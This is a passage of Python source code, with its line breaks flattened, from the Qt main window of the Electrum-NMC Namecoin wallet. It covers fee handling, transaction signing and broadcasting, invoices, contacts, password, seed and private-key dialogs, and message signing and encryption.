self.feerate_e, False)) self.feerate_e.editingFinished.connect(partial(on_fee_or_feerate, self.feerate_e, True)) self.fee_e = BTCAmountEdit(self.get_decimal_point) self.fee_e.textEdited.connect(partial(on_fee_or_feerate, self.fee_e, False)) self.fee_e.editingFinished.connect(partial(on_fee_or_feerate, self.fee_e, True)) def feerounding_onclick(): text = (self.feerounding_text + '\n\n' + _('To somewhat protect your privacy, Electrum tries to create change with similar precision to other outputs.') + ' ' + _('At most 100 satoshis might be lost due to this rounding.') + ' ' + _("You can disable this setting in '{}'.").format(_('Preferences')) + '\n' + _('Also, dust is not kept as change, but added to the fee.')) QMessageBox.information(self, 'Fee rounding', text) self.feerounding_icon = QPushButton(QIcon(':icons/info.png'), '') self.feerounding_icon.setFixedWidth(20) self.feerounding_icon.setFlat(True) self.feerounding_icon.clicked.connect(feerounding_onclick) self.feerounding_icon.setVisible(False) self.connect_fields(self, self.amount_e, self.fiat_send_e, self.fee_e) vbox_feelabel = QVBoxLayout() vbox_feelabel.addWidget(self.fee_e_label) vbox_feelabel.addStretch(1) grid.addLayout(vbox_feelabel, 5, 0) self.fee_adv_controls = QWidget() hbox = QHBoxLayout(self.fee_adv_controls) hbox.setContentsMargins(0, 0, 0, 0) hbox.addWidget(self.feerate_e) hbox.addWidget(self.size_e) hbox.addWidget(self.fee_e) hbox.addWidget(self.feerounding_icon, Qt.AlignLeft) hbox.addStretch(1) vbox_feecontrol = QVBoxLayout() vbox_feecontrol.addWidget(self.fee_adv_controls) vbox_feecontrol.addWidget(self.fee_slider) grid.addLayout(vbox_feecontrol, 5, 1, 1, -1) if not self.config.get('show_fee', False): self.fee_adv_controls.setVisible(False) self.preview_button = EnterButton(_("Preview"), self.do_preview) self.preview_button.setToolTip(_('Display the details of your transaction before signing it.')) self.send_button = EnterButton(_("Send"), self.do_send) self.clear_button = EnterButton(_("Clear"), self.do_clear) buttons = QHBoxLayout() buttons.addStretch(1) buttons.addWidget(self.clear_button) buttons.addWidget(self.preview_button) buttons.addWidget(self.send_button) grid.addLayout(buttons, 6, 1, 1, 3) self.amount_e.shortcut.connect(self.spend_max) self.payto_e.textChanged.connect(self.update_fee) self.amount_e.textEdited.connect(self.update_fee) def reset_max(t): self.is_max = False self.max_button.setEnabled(not bool(t)) self.amount_e.textEdited.connect(reset_max) self.fiat_send_e.textEdited.connect(reset_max) def entry_changed(): text = "" amt_color = ColorScheme.DEFAULT fee_color = ColorScheme.DEFAULT feerate_color = ColorScheme.DEFAULT if self.not_enough_funds: amt_color, fee_color = ColorScheme.RED, ColorScheme.RED feerate_color = ColorScheme.RED text = _( "Not enough funds" ) c, u, x = self.wallet.get_frozen_balance() if c+u+x: text += ' (' + self.format_amount(c+u+x).strip() + ' ' + self.base_unit() + ' ' +_("are frozen") + ')' # blue color denotes auto-filled values elif self.fee_e.isModified(): feerate_color = ColorScheme.BLUE elif self.feerate_e.isModified(): fee_color = ColorScheme.BLUE elif self.amount_e.isModified(): fee_color = ColorScheme.BLUE feerate_color = ColorScheme.BLUE else: amt_color = ColorScheme.BLUE fee_color = ColorScheme.BLUE feerate_color = ColorScheme.BLUE self.statusBar().showMessage(text) self.amount_e.setStyleSheet(amt_color.as_stylesheet()) self.fee_e.setStyleSheet(fee_color.as_stylesheet()) self.feerate_e.setStyleSheet(feerate_color.as_stylesheet()) self.amount_e.textChanged.connect(entry_changed) self.fee_e.textChanged.connect(entry_changed) self.feerate_e.textChanged.connect(entry_changed) self.invoices_label = QLabel(_('Invoices')) from .invoice_list import InvoiceList self.invoice_list = InvoiceList(self) vbox0 = QVBoxLayout() vbox0.addLayout(grid) hbox = QHBoxLayout() hbox.addLayout(vbox0) w = QWidget() vbox = QVBoxLayout(w) vbox.addLayout(hbox) vbox.addStretch(1) vbox.addWidget(self.invoices_label) vbox.addWidget(self.invoice_list) vbox.setStretchFactor(self.invoice_list, 1000) w.searchable_list = self.invoice_list run_hook('create_send_tab', grid) return w def spend_max(self): self.is_max = True self.do_update_fee() def update_fee(self): self.require_fee_update = True def get_payto_or_dummy(self): r = self.payto_e.get_recipient() if r: return r return (TYPE_ADDRESS, self.wallet.dummy_address()) def do_update_fee(self): '''Recalculate the fee. If the fee was manually input, retain it, but still build the TX to see if there are enough funds. ''' freeze_fee = self.is_send_fee_frozen() freeze_feerate = self.is_send_feerate_frozen() amount = '!' if self.is_max else self.amount_e.get_amount() if amount is None: if not freeze_fee: self.fee_e.setAmount(None) self.not_enough_funds = False self.statusBar().showMessage('') else: fee_estimator = self.get_send_fee_estimator() outputs = self.payto_e.get_outputs(self.is_max) if not outputs: _type, addr = self.get_payto_or_dummy() outputs = [(_type, addr, amount)] is_sweep = bool(self.tx_external_keypairs) make_tx = lambda fee_est: \ self.wallet.make_unsigned_transaction( self.get_coins(), outputs, self.config, fixed_fee=fee_est, is_sweep=is_sweep) try: tx = make_tx(fee_estimator) self.not_enough_funds = False except (NotEnoughFunds, NoDynamicFeeEstimates) as e: if not freeze_fee: self.fee_e.setAmount(None) if not freeze_feerate: self.feerate_e.setAmount(None) self.feerounding_icon.setVisible(False) if isinstance(e, NotEnoughFunds): self.not_enough_funds = True elif isinstance(e, NoDynamicFeeEstimates): try: tx = make_tx(0) size = tx.estimated_size() self.size_e.setAmount(size) except BaseException: pass return except BaseException: traceback.print_exc(file=sys.stderr) return size = tx.estimated_size() self.size_e.setAmount(size) fee = tx.get_fee() fee = None if self.not_enough_funds else fee # Displayed fee/fee_rate values are set according to user input. # Due to rounding or dropping dust in CoinChooser, # actual fees often differ somewhat. if freeze_feerate or self.fee_slider.is_active(): displayed_feerate = self.feerate_e.get_amount() if displayed_feerate: displayed_feerate = quantize_feerate(displayed_feerate / 1000) else: # fallback to actual fee displayed_feerate = quantize_feerate(fee / size) if fee is not None else None self.feerate_e.setAmount(displayed_feerate) displayed_fee = round(displayed_feerate * size) if displayed_feerate is not None else None self.fee_e.setAmount(displayed_fee) else: if freeze_fee: displayed_fee = self.fee_e.get_amount() else: # fallback to actual fee if nothing is frozen displayed_fee = fee self.fee_e.setAmount(displayed_fee) displayed_fee = displayed_fee if displayed_fee else 0 displayed_feerate = quantize_feerate(displayed_fee / size) if displayed_fee is not None else None self.feerate_e.setAmount(displayed_feerate) # show/hide fee rounding icon feerounding = (fee - displayed_fee) if fee else 0 self.set_feerounding_text(int(feerounding)) self.feerounding_icon.setToolTip(self.feerounding_text) self.feerounding_icon.setVisible(abs(feerounding) >= 1) if self.is_max: amount = tx.output_value() self.amount_e.setAmount(amount) def from_list_delete(self, item): i = self.from_list.indexOfTopLevelItem(item) self.pay_from.pop(i) self.redraw_from_list() self.update_fee() def from_list_menu(self, position): item = self.from_list.itemAt(position) menu = QMenu() menu.addAction(_("Remove"), lambda: self.from_list_delete(item)) menu.exec_(self.from_list.viewport().mapToGlobal(position)) def set_pay_from(self, coins): self.pay_from = list(coins) self.redraw_from_list() def redraw_from_list(self): self.from_list.clear() self.from_label.setHidden(len(self.pay_from) == 0) self.from_list.setHidden(len(self.pay_from) == 0) def format(x): h = x.get('prevout_hash') return h[0:10] + '...' + h[-10:] + ":%d"%x.get('prevout_n') + u'\t' + "%s"%x.get('address') for item in self.pay_from: self.from_list.addTopLevelItem(QTreeWidgetItem( [format(item), self.format_amount(item['value']) ])) def get_contact_payto(self, key): _type, label = self.contacts.get(key) return label + ' <' + key + '>' if _type == 'address' else key def update_completions(self): l = [self.get_contact_payto(key) for key in self.contacts.keys()] self.completions.setStringList(l) def protected(func): '''Password request wrapper. The password is passed to the function as the 'password' named argument. "None" indicates either an unencrypted wallet, or the user cancelled the password request. An empty input is passed as the empty string.''' def request_password(self, *args, **kwargs): parent = self.top_level_window() password = None while self.wallet.has_keystore_encryption(): password = self.password_dialog(parent=parent) if password is None: # User cancelled password input return try: self.wallet.check_password(password) break except Exception as e: self.show_error(str(e), parent=parent) continue kwargs['password'] = password return func(self, *args, **kwargs) return request_password def is_send_fee_frozen(self): return self.fee_e.isVisible() and self.fee_e.isModified() \ and (self.fee_e.text() or self.fee_e.hasFocus()) def is_send_feerate_frozen(self): return self.feerate_e.isVisible() and self.feerate_e.isModified() \ and (self.feerate_e.text() or self.feerate_e.hasFocus()) def get_send_fee_estimator(self): if self.is_send_fee_frozen(): fee_estimator = self.fee_e.get_amount() elif self.is_send_feerate_frozen(): amount = self.feerate_e.get_amount() amount = 0 if amount is None else amount fee_estimator = partial( simple_config.SimpleConfig.estimate_fee_for_feerate, amount) else: fee_estimator = None return fee_estimator def read_send_tab(self): if self.payment_request and self.payment_request.has_expired(): self.show_error(_('Payment request has expired')) return label = self.message_e.text() if self.payment_request: outputs = self.payment_request.get_outputs() else: errors = self.payto_e.get_errors() if errors: self.show_warning(_("Invalid Lines found:") + "\n\n" + '\n'.join([ _("Line #") + str(x[0]+1) + ": " + x[1] for x in errors])) return outputs = self.payto_e.get_outputs(self.is_max) if self.payto_e.is_alias and self.payto_e.validated is False: alias = self.payto_e.toPlainText() msg = _('WARNING: the alias "{}" could not be validated via an additional ' 'security check, DNSSEC, and thus may not be correct.').format(alias) + '\n' msg += _('Do you wish to continue?') if not self.question(msg): return if not outputs: self.show_error(_('No outputs')) return for _type, addr, amount in outputs: if addr is None: self.show_error(_('Namecoin Address is None')) return if _type == TYPE_ADDRESS and not bitcoin.is_address(addr): self.show_error(_('Invalid Namecoin Address')) return if amount is None: self.show_error(_('Invalid Amount')) return fee_estimator = self.get_send_fee_estimator() coins = self.get_coins() return outputs, fee_estimator, label, coins def do_preview(self): self.do_send(preview = True) def do_send(self, preview = False): if run_hook('abort_send', self): return r = self.read_send_tab() if not r: return outputs, fee_estimator, tx_desc, coins = r try: is_sweep = bool(self.tx_external_keypairs) tx = self.wallet.make_unsigned_transaction( coins, outputs, self.config, fixed_fee=fee_estimator, is_sweep=is_sweep) except NotEnoughFunds: self.show_message(_("Insufficient funds")) return except BaseException as e: traceback.print_exc(file=sys.stdout) self.show_message(str(e)) return amount = tx.output_value() if self.is_max else sum(map(lambda x:x[2], outputs)) fee = tx.get_fee() use_rbf = self.config.get('use_rbf', True) if use_rbf: tx.set_rbf(True) if fee < self.wallet.relayfee() * tx.estimated_size() / 1000: self.show_error('\n'.join([ _("This transaction requires a higher fee, or it will not be propagated by your current server"), _("Try to raise your transaction fee, or use a server with a lower relay fee.") ])) return if preview: self.show_transaction(tx, tx_desc) return if not self.network: self.show_error(_("You can't broadcast a transaction without a live network connection.")) return # confirmation dialog msg = [ _("Amount to be sent") + ": " + self.format_amount_and_units(amount), _("Mining fee") + ": " + self.format_amount_and_units(fee), ] x_fee = run_hook('get_tx_extra_fee', self.wallet, tx) if x_fee: x_fee_address, x_fee_amount = x_fee msg.append( _("Additional fees") + ": " + self.format_amount_and_units(x_fee_amount) ) confirm_rate = simple_config.FEERATE_WARNING_HIGH_FEE if fee > confirm_rate * tx.estimated_size() / 1000: msg.append(_('Warning') + ': ' + _("The fee for this transaction seems unusually high.")) if self.wallet.has_keystore_encryption(): msg.append("") msg.append(_("Enter your password to proceed")) password = self.password_dialog('\n'.join(msg)) if not password: return else: msg.append(_('Proceed?')) password = None if not self.question('\n'.join(msg)): return def sign_done(success): if success: if not tx.is_complete(): self.show_transaction(tx) self.do_clear() else: self.broadcast_transaction(tx, tx_desc) self.sign_tx_with_password(tx, sign_done, password) @protected def sign_tx(self, tx, callback, password): self.sign_tx_with_password(tx, callback, password) def sign_tx_with_password(self, tx, callback, password): '''Sign the transaction in a separate thread. When done, calls the callback with a success code of True or False. ''' def on_signed(result): callback(True) def on_failed(exc_info): self.on_error(exc_info) callback(False) if self.tx_external_keypairs: # can sign directly task = partial(Transaction.sign, tx, self.tx_external_keypairs) else: task = partial(self.wallet.sign_transaction, tx, password) WaitingDialog(self, _('Signing transaction...'), task, on_signed, on_failed) def broadcast_transaction(self, tx, tx_desc): def broadcast_thread(): # non-GUI thread pr = self.payment_request if pr and pr.has_expired(): self.payment_request = None return False, _("Payment request has expired") status, msg = self.network.broadcast(tx) if pr and status is True: self.invoices.set_paid(pr, tx.txid()) self.invoices.save() self.payment_request = None refund_address = self.wallet.get_receiving_addresses()[0] ack_status, ack_msg = pr.send_ack(str(tx), refund_address) if ack_status: msg = ack_msg return status, msg # Capture current TL window; override might be removed on return parent = self.top_level_window(lambda win: isinstance(win, MessageBoxMixin)) def broadcast_done(result): # GUI thread if result: status, msg = result if status: if tx_desc is not None and tx.is_complete(): self.wallet.set_label(tx.txid(), tx_desc) parent.show_message(_('Payment sent.') + '\n' + msg) self.invoice_list.update() self.do_clear() else: parent.show_error(msg) WaitingDialog(self, _('Broadcasting transaction...'), broadcast_thread, broadcast_done, self.on_error) def query_choice(self, msg, choices): # Needed by QtHandler for hardware wallets dialog = WindowModalDialog(self.top_level_window()) clayout = ChoicesLayout(msg, choices) vbox = QVBoxLayout(dialog) vbox.addLayout(clayout.layout()) vbox.addLayout(Buttons(OkButton(dialog))) if not dialog.exec_(): return None return clayout.selected_index() def lock_amount(self, b): self.amount_e.setFrozen(b) self.max_button.setEnabled(not b) def prepare_for_payment_request(self): self.show_send_tab() self.payto_e.is_pr = True for e in [self.payto_e, self.amount_e, self.message_e]: e.setFrozen(True) self.payto_e.setText(_("please wait...")) return True def delete_invoice(self, key): self.invoices.remove(key) self.invoice_list.update() def payment_request_ok(self): pr = self.payment_request key = self.invoices.add(pr) status = self.invoices.get_status(key) self.invoice_list.update() if status == PR_PAID: self.show_message("invoice already paid") self.do_clear() self.payment_request = None return self.payto_e.is_pr = True if not pr.has_expired(): self.payto_e.setGreen() else: self.payto_e.setExpired() self.payto_e.setText(pr.get_requestor()) self.amount_e.setText(format_satoshis_plain(pr.get_amount(), self.decimal_point)) self.message_e.setText(pr.get_memo()) # signal to set fee self.amount_e.textEdited.emit("") def payment_request_error(self): self.show_message(self.payment_request.error) self.payment_request = None self.do_clear() def on_pr(self, request): self.payment_request = request if self.payment_request.verify(self.contacts): self.payment_request_ok_signal.emit() else: self.payment_request_error_signal.emit() def pay_to_URI(self, URI): if not URI: return try: out = util.parse_URI(URI, self.on_pr) except BaseException as e: self.show_error(_('Invalid namecoin URI:') + '\n' + str(e)) return self.show_send_tab() r = out.get('r') sig = out.get('sig') name = out.get('name') if r or (name and sig): self.prepare_for_payment_request() return address = out.get('address') amount = out.get('amount') label = out.get('label') message = out.get('message') # use label as description (not BIP21 compliant) if label and not message: message = label if address: self.payto_e.setText(address) if message: self.message_e.setText(message) if amount: self.amount_e.setAmount(amount) self.amount_e.textEdited.emit("") def do_clear(self): self.is_max = False self.not_enough_funds = False self.payment_request = None self.payto_e.is_pr = False for e in [self.payto_e, self.message_e, self.amount_e, self.fiat_send_e, self.fee_e, self.feerate_e]: e.setText('') e.setFrozen(False) self.fee_slider.activate() self.feerate_e.setAmount(self.config.fee_per_byte()) self.size_e.setAmount(0) self.feerounding_icon.setVisible(False) self.set_pay_from([]) self.tx_external_keypairs = {} self.update_status() run_hook('do_clear', self) def set_frozen_state(self, addrs, freeze): self.wallet.set_frozen_state(addrs, freeze) self.address_list.update() self.utxo_list.update() self.update_fee() def create_list_tab(self, l, toolbar=None): w = QWidget() w.searchable_list = l vbox = QVBoxLayout() w.setLayout(vbox) vbox.setContentsMargins(0, 0, 0, 0) vbox.setSpacing(0) if toolbar: vbox.addLayout(toolbar) vbox.addWidget(l) return w def create_addresses_tab(self): from .address_list import AddressList self.address_list = l = AddressList(self) toolbar = l.create_toolbar(self.config) toolbar_shown = self.config.get('show_toolbar_addresses', False) l.show_toolbar(toolbar_shown) return self.create_list_tab(l, toolbar) def create_utxo_tab(self): from .utxo_list import UTXOList self.utxo_list = l = UTXOList(self) return self.create_list_tab(l) def create_contacts_tab(self): from .contact_list import ContactList self.contact_list = l = ContactList(self) return self.create_list_tab(l) def remove_address(self, addr): if self.question(_("Do you want to remove")+" %s "%addr +_("from your wallet?")): self.wallet.delete_address(addr) self.need_update.set() # history, addresses, coins self.clear_receive_tab() def get_coins(self): if self.pay_from: return self.pay_from else: return self.wallet.get_spendable_coins(None, self.config) def spend_coins(self, coins): self.set_pay_from(coins) self.show_send_tab() self.update_fee() def paytomany(self): self.show_send_tab() self.payto_e.paytomany() msg = '\n'.join([ _('Enter a list of outputs in the \'Pay to\' field.'), _('One output per line.'), _('Format: address, amount'), _('You may load a CSV file using the file icon.') ]) self.show_message(msg, title=_('Pay to many')) def payto_contacts(self, labels): paytos = [self.get_contact_payto(label) for label in labels] self.show_send_tab() if len(paytos) == 1: self.payto_e.setText(paytos[0]) self.amount_e.setFocus() else: text = "\n".join([payto + ", 0" for payto in paytos]) self.payto_e.setText(text) self.payto_e.setFocus() def set_contact(self, label, address): if not is_address(address): self.show_error(_('Invalid Address')) self.contact_list.update() # Displays original unchanged value return False self.contacts[address] = ('address', label) self.contact_list.update() self.history_list.update() self.update_completions() return True def delete_contacts(self, labels): if not self.question(_("Remove {} from your list of contacts?") .format(" + ".join(labels))): return for label in labels: self.contacts.pop(label) self.history_list.update() self.contact_list.update() self.update_completions() def show_invoice(self, key): pr = self.invoices.get(key) if pr is None: self.show_error('Cannot find payment request in wallet.') return pr.verify(self.contacts) self.show_pr_details(pr) def show_pr_details(self, pr): key = pr.get_id() d = WindowModalDialog(self, _("Invoice")) vbox = QVBoxLayout(d) grid = QGridLayout() grid.addWidget(QLabel(_("Requestor") + ':'), 0, 0) grid.addWidget(QLabel(pr.get_requestor()), 0, 1) grid.addWidget(QLabel(_("Amount") + ':'), 1, 0) outputs_str = '\n'.join(map(lambda x: self.format_amount(x[2])+ self.base_unit() + ' @ ' + x[1], pr.get_outputs())) grid.addWidget(QLabel(outputs_str), 1, 1) expires = pr.get_expiration_date() grid.addWidget(QLabel(_("Memo") + ':'), 2, 0) grid.addWidget(QLabel(pr.get_memo()), 2, 1) grid.addWidget(QLabel(_("Signature") + ':'), 3, 0) grid.addWidget(QLabel(pr.get_verify_status()), 3, 1) if expires: grid.addWidget(QLabel(_("Expires") + ':'), 4, 0) grid.addWidget(QLabel(format_time(expires)), 4, 1) vbox.addLayout(grid) def do_export(): fn = self.getSaveFileName(_("Save invoice to file"), "*.bip70") if not fn: return with open(fn, 'wb') as f: data = f.write(pr.raw) self.show_message(_('Invoice saved as' + ' ' + fn)) exportButton = EnterButton(_('Save'), do_export) def do_delete(): if self.question(_('Delete invoice?')): self.invoices.remove(key) self.history_list.update() self.invoice_list.update() d.close() deleteButton = EnterButton(_('Delete'), do_delete) vbox.addLayout(Buttons(exportButton, deleteButton, CloseButton(d))) d.exec_() def do_pay_invoice(self, key): pr = self.invoices.get(key) self.payment_request = pr self.prepare_for_payment_request() pr.error = None # this forces verify() to re-run if pr.verify(self.contacts): self.payment_request_ok() else: self.payment_request_error() def create_console_tab(self): from .console import Console self.console = console = Console() return console def update_console(self): console = self.console console.history = self.config.get("console-history",[]) console.history_index = len(console.history) console.updateNamespace({'wallet' : self.wallet, 'network' : self.network, 'plugins' : self.gui_object.plugins, 'window': self}) console.updateNamespace({'util' : util, 'bitcoin':bitcoin}) c = commands.Commands(self.config, self.wallet, self.network, lambda: self.console.set_json(True)) methods = {} def mkfunc(f, method): return lambda *args: f(method, args, self.password_dialog) for m in dir(c): if m[0]=='_' or m in ['network','wallet']: continue methods[m] = mkfunc(c._run, m) console.updateNamespace(methods) def create_status_bar(self): sb = QStatusBar() sb.setFixedHeight(35) qtVersion = qVersion() self.balance_label = QLabel("") self.balance_label.setTextInteractionFlags(Qt.TextSelectableByMouse) self.balance_label.setStyleSheet("""QLabel { padding: 0 }""") sb.addWidget(self.balance_label) self.search_box = QLineEdit() self.search_box.textChanged.connect(self.do_search) self.search_box.hide() sb.addPermanentWidget(self.search_box) self.lock_icon = QIcon() self.password_button = StatusBarButton(self.lock_icon, _("Password"), self.change_password_dialog ) sb.addPermanentWidget(self.password_button) sb.addPermanentWidget(StatusBarButton(QIcon(":icons/preferences.png"), _("Preferences"), self.settings_dialog ) ) self.seed_button = StatusBarButton(QIcon(":icons/seed.png"), _("Seed"), self.show_seed_dialog ) sb.addPermanentWidget(self.seed_button) self.status_button = StatusBarButton(QIcon(":icons/status_disconnected.png"), _("Network"), lambda: self.gui_object.show_network_dialog(self)) sb.addPermanentWidget(self.status_button) run_hook('create_status_bar', sb) self.setStatusBar(sb) def update_lock_icon(self): icon = QIcon(":icons/lock.png") if self.wallet.has_password() else QIcon(":icons/unlock.png") self.password_button.setIcon(icon) def update_buttons_on_seed(self): self.seed_button.setVisible(self.wallet.has_seed()) self.password_button.setVisible(self.wallet.may_have_password()) self.send_button.setVisible(not self.wallet.is_watching_only()) def change_password_dialog(self): from electrum_nmc.storage import STO_EV_XPUB_PW if self.wallet.get_available_storage_encryption_version() == STO_EV_XPUB_PW: from .password_dialog import ChangePasswordDialogForHW d = ChangePasswordDialogForHW(self, self.wallet) ok, encrypt_file = d.run() if not ok: return try: hw_dev_pw = self.wallet.keystore.get_password_for_storage_encryption() except UserCancelled: return except BaseException as e: traceback.print_exc(file=sys.stderr) self.show_error(str(e)) return old_password = hw_dev_pw if self.wallet.has_password() else None new_password = hw_dev_pw if encrypt_file else None else: from .password_dialog import ChangePasswordDialogForSW d = ChangePasswordDialogForSW(self, self.wallet) ok, old_password, new_password, encrypt_file = d.run() if not ok: return try: self.wallet.update_password(old_password, new_password, encrypt_file) except InvalidPassword as e: self.show_error(str(e)) return except BaseException: traceback.print_exc(file=sys.stdout) self.show_error(_('Failed to update password')) return msg = _('Password was updated successfully') if self.wallet.has_password() else _('Password is disabled, this wallet is not protected') self.show_message(msg, title=_("Success")) self.update_lock_icon() def toggle_search(self): tab = self.tabs.currentWidget() #if hasattr(tab, 'searchable_list'): # tab.searchable_list.toggle_toolbar() #return self.search_box.setHidden(not self.search_box.isHidden()) if not self.search_box.isHidden(): self.search_box.setFocus(1) else: self.do_search('') def do_search(self, t): tab = self.tabs.currentWidget() if hasattr(tab, 'searchable_list'): tab.searchable_list.filter(t) def new_contact_dialog(self): d = WindowModalDialog(self, _("New Contact")) vbox = QVBoxLayout(d) vbox.addWidget(QLabel(_('New Contact') + ':')) grid = QGridLayout() line1 = QLineEdit() line1.setFixedWidth(280) line2 = QLineEdit() line2.setFixedWidth(280) grid.addWidget(QLabel(_("Address")), 1, 0) grid.addWidget(line1, 1, 1) grid.addWidget(QLabel(_("Name")), 2, 0) grid.addWidget(line2, 2, 1) vbox.addLayout(grid) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if d.exec_(): self.set_contact(line2.text(), line1.text()) def show_master_public_keys(self): dialog = WindowModalDialog(self, _("Wallet Information")) dialog.setMinimumSize(500, 100) mpk_list = self.wallet.get_master_public_keys() vbox = QVBoxLayout() wallet_type = self.wallet.storage.get('wallet_type', '') grid = QGridLayout() basename = os.path.basename(self.wallet.storage.path) grid.addWidget(QLabel(_("Wallet name")+ ':'), 0, 0) grid.addWidget(QLabel(basename), 0, 1) grid.addWidget(QLabel(_("Wallet type")+ ':'), 1, 0) grid.addWidget(QLabel(wallet_type), 1, 1) grid.addWidget(QLabel(_("Script type")+ ':'), 2, 0) grid.addWidget(QLabel(self.wallet.txin_type), 2, 1) vbox.addLayout(grid) if self.wallet.is_deterministic(): mpk_text = ShowQRTextEdit() mpk_text.setMaximumHeight(150) mpk_text.addCopyButton(self.app) def show_mpk(index): mpk_text.setText(mpk_list[index]) # only show the combobox in case multiple accounts are available if len(mpk_list) > 1: def label(key): if isinstance(self.wallet, Multisig_Wallet): return _("cosigner") + ' ' + str(key+1) return '' labels = [label(i) for i in range(len(mpk_list))] on_click = lambda clayout: show_mpk(clayout.selected_index()) labels_clayout = ChoicesLayout(_("Master Public Keys"), labels, on_click) vbox.addLayout(labels_clayout.layout()) else: vbox.addWidget(QLabel(_("Master Public Key"))) show_mpk(0) vbox.addWidget(mpk_text) vbox.addStretch(1) vbox.addLayout(Buttons(CloseButton(dialog))) dialog.setLayout(vbox) dialog.exec_() def remove_wallet(self): if self.question('\n'.join([ _('Delete wallet file?'), "%s"%self.wallet.storage.path, _('If your wallet contains funds, make sure you have saved its seed.')])): self._delete_wallet() @protected def _delete_wallet(self, password): wallet_path = self.wallet.storage.path basename = os.path.basename(wallet_path) self.gui_object.daemon.stop_wallet(wallet_path) self.close() os.unlink(wallet_path) self.show_error("Wallet removed:" + basename) @protected def show_seed_dialog(self, password): if not self.wallet.has_seed(): self.show_message(_('This wallet has no seed')) return keystore = self.wallet.get_keystore() try: seed = keystore.get_seed(password) passphrase = keystore.get_passphrase(password) except BaseException as e: self.show_error(str(e)) return from .seed_dialog import SeedDialog d = SeedDialog(self, seed, passphrase) d.exec_() def show_qrcode(self, data, title = _("QR code"), parent=None): if not data: return d = QRDialog(data, parent or self, title) d.exec_() @protected def show_private_key(self, address, password): if not address: return try: pk, redeem_script = self.wallet.export_private_key(address, password) except Exception as e: traceback.print_exc(file=sys.stdout) self.show_message(str(e)) return xtype = bitcoin.deserialize_privkey(pk)[0] d = WindowModalDialog(self, _("Private key")) d.setMinimumSize(600, 150) vbox = QVBoxLayout() vbox.addWidget(QLabel(_("Address") + ': ' + address)) vbox.addWidget(QLabel(_("Script type") + ': ' + xtype)) vbox.addWidget(QLabel(_("Private key") + ':')) keys_e = ShowQRTextEdit(text=pk) keys_e.addCopyButton(self.app) vbox.addWidget(keys_e) if redeem_script: vbox.addWidget(QLabel(_("Redeem Script") + ':')) rds_e = ShowQRTextEdit(text=redeem_script) rds_e.addCopyButton(self.app) vbox.addWidget(rds_e) vbox.addLayout(Buttons(CloseButton(d))) d.setLayout(vbox) d.exec_() msg_sign = _("Signing with an address actually means signing with the corresponding " "private key, and verifying with the corresponding public key. The " "address you have entered does not have a unique public key, so these " "operations cannot be performed.") + '\n\n' + \ _('The operation is undefined. Not just in Electrum, but in general.') @protected def do_sign(self, address, message, signature, password): address = address.text().strip() message = message.toPlainText().strip() if not bitcoin.is_address(address): self.show_message(_('Invalid Namecoin address.')) return if self.wallet.is_watching_only(): self.show_message(_('This is a watching-only wallet.')) return if not self.wallet.is_mine(address): self.show_message(_('Address not in wallet.')) return txin_type = self.wallet.get_txin_type(address) if txin_type not in ['p2pkh', 'p2wpkh', 'p2wpkh-p2sh']: self.show_message(_('Cannot sign messages with this type of address:') + \ ' ' + txin_type + '\n\n' + self.msg_sign) return task = partial(self.wallet.sign_message, address, message, password) def show_signed_message(sig): try: signature.setText(base64.b64encode(sig).decode('ascii')) except RuntimeError: # (signature) wrapped C/C++ object has been deleted pass self.wallet.thread.add(task, on_success=show_signed_message) def do_verify(self, address, message, signature): address = address.text().strip() message = message.toPlainText().strip().encode('utf-8') if not bitcoin.is_address(address): self.show_message(_('Invalid Namecoin address.')) return try: # This can throw on invalid base64 sig = base64.b64decode(str(signature.toPlainText())) verified = bitcoin.verify_message(address, sig, message) except Exception as e: verified = False if verified: self.show_message(_("Signature verified")) else: self.show_error(_("Wrong signature")) def sign_verify_message(self, address=''): d = WindowModalDialog(self, _('Sign/verify Message')) d.setMinimumSize(610, 290) layout = QGridLayout(d) message_e = QTextEdit() layout.addWidget(QLabel(_('Message')), 1, 0) layout.addWidget(message_e, 1, 1) layout.setRowStretch(2,3) address_e = QLineEdit() address_e.setText(address) layout.addWidget(QLabel(_('Address')), 2, 0) layout.addWidget(address_e, 2, 1) signature_e = QTextEdit() layout.addWidget(QLabel(_('Signature')), 3, 0) layout.addWidget(signature_e, 3, 1) layout.setRowStretch(3,1) hbox = QHBoxLayout() b = QPushButton(_("Sign")) b.clicked.connect(lambda: self.do_sign(address_e, message_e, signature_e)) hbox.addWidget(b) b = QPushButton(_("Verify")) b.clicked.connect(lambda: self.do_verify(address_e, message_e, signature_e)) hbox.addWidget(b) b = QPushButton(_("Close")) b.clicked.connect(d.accept) hbox.addWidget(b) layout.addLayout(hbox, 4, 1) d.exec_() @protected def do_decrypt(self, message_e, pubkey_e, encrypted_e, password): if self.wallet.is_watching_only(): self.show_message(_('This is a watching-only wallet.')) return cyphertext = encrypted_e.toPlainText() task = partial(self.wallet.decrypt_message, pubkey_e.text(), cyphertext, password) def setText(text): try: message_e.setText(text.decode('utf-8')) except RuntimeError: # (message_e) wrapped C/C++ object has been deleted pass self.wallet.thread.add(task, on_success=setText) def do_encrypt(self, message_e, pubkey_e, encrypted_e): message = message_e.toPlainText() message = message.encode('utf-8') try: encrypted = bitcoin.encrypt_message(message, pubkey_e.text()) encrypted_e.setText(encrypted.decode('ascii')) except BaseException as e: traceback.print_exc(file=sys.stdout) self.show_warning(str(e)) def encrypt_message(self, address=''): d = WindowModalDialog(self, _('Encrypt/decrypt Message')) d.setMinimumSize(610, 490) layout = QGridLayout(d) message_e = QTextEdit() layout.addWidget(QLabel(_('Message')), 1, 0) layout.addWidget(message_e, 1, 1) layout.setRowStretch(2,3) pubkey_e = QLineEdit() if address: pubkey = self.wallet.get_public_key(address) pubkey_e.setText(pubkey) layout.addWidget(QLabel(_('Public key')), 2, 0) layout.addWidget(pubkey_e, 2, 1) encrypted_e = QTextEdit() layout.addWidget(QLabel(_('Encrypted')), 3, 0) layout.addWidget(encrypted_e, 3, 1) layout.setRowStretch(3,1) hbox = QHBoxLayout() b = QPushButton(_("Encrypt")) b.clicked.connect(lambda: self.do_encrypt(message_e, pubkey_e, encrypted_e)) hbox.addWidget(b) b = QPushButton(_("Decrypt")) b.clicked.connect(lambda: self.do_decrypt(message_e, pubkey_e, encrypted_e)) hbox.addWidget(b) b = QPushButton(_("Close")) b.clicked.connect(d.accept) hbox.addWidget(b) layout.addLayout(hbox, 4, 1) d.exec_() def password_dialog(self, msg=None, parent=None): from .password_dialog import PasswordDialog parent = parent or self d = PasswordDialog(parent, msg) return d.run() def tx_from_text(self, txt): from electrum_nmc.transaction import tx_from_str try: tx = 